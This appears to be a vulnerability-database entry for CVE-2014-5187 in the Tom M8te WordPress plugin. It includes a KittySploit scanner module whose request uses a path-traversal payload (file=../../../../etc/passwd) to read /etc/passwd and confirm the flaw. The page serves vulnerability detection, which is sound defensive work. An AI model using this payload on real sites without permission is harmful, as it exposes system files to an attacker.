Tom M8te (tom-m8te) Plugin 1.5.3 - Directory Traversal Detection
| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| CVE-2014-5187 | 6 Aug 201419:00 | – | cve | |
| CVE-2014-5187 | 6 Aug 201419:00 | – | cvelist | |
| EUVD-2014-5085 | 7 Oct 202500:30 | – | euvd | |
| Tom M8te (tom-m8te) Plugin 1.5.3 - Directory Traversal | 19 Oct 202602:08 | – | nuclei | |
| CVE-2014-5187 | 6 Aug 201419:55 | – | nvd | |
| WordPress Multiple Plugins / Themes Directory Traversal / File Download Vulnerability (HTTP) | 20 Nov 202000:00 | – | openvas | |
| WordPress Tom M8te Plugin <= 1.5.3 - Local File Inclusion | 6 Aug 201400:00 | – | patchstack | |
| Directory traversal | 6 Aug 201419:55 | – | prion | |
| PT-2014-6326 | 6 Aug 201400:00 | – | ptsecurity | |
| CVE-2014-5187: Improper Limitation of a Pathname to a Restricted Directory | 6 Aug 201400:00 | – | rapid7 |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Directory traversal vulnerability in the Tom M8te (tom-m8te) plugin 1."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Tom M8te (tom-m8te) Plugin 1.5.3 - Directory Traversal Detection',
'description': 'Directory traversal vulnerability in the Tom M8te (tom-m8te) plugin 1.5.3 for WordPress allows remote attackers to read arbitrary files via the file parameter to tom-download-file.php.',
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'wpscan', 'cve', 'cve2014', 'wp-cross-rss', 'wordpress', 'wp-plugin', 'lfi', 'wp', 'tom-m8te', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'risk_signal',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://wpscan.com/vulnerability/3095c3f3-9cdc-49f8-8478-c2922f0a442a/',
'https://codevigilant.com/disclosure/wp-plugin-tom-m8te-local-file-inclusion/',
],
'cve': 'CVE-2014-5187',
}
def run(self):
path = '/'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
body_any = ('/wp-content/plugins/tom-m8te/',)
if not (any(m in body for m in body_any)):
return False
path = '/wp-content/plugins/tom-m8te/tom-download-file.php?file=../../../../../../../etc/passwd'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
body_regexes = ('root:.*:0:0:',)
if any(re.search(rx, body) for rx in body_regexes):
self.set_info(severity='medium', reason='Tom M8te (tom-m8te) Plugin 1.5.3 - Directory Traversal detected', path=path)
return True
return False
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28 Jul 2026 11:27Current
8.6High risk
Vulners AI Score8.6
CVSS 25
EPSS0.04718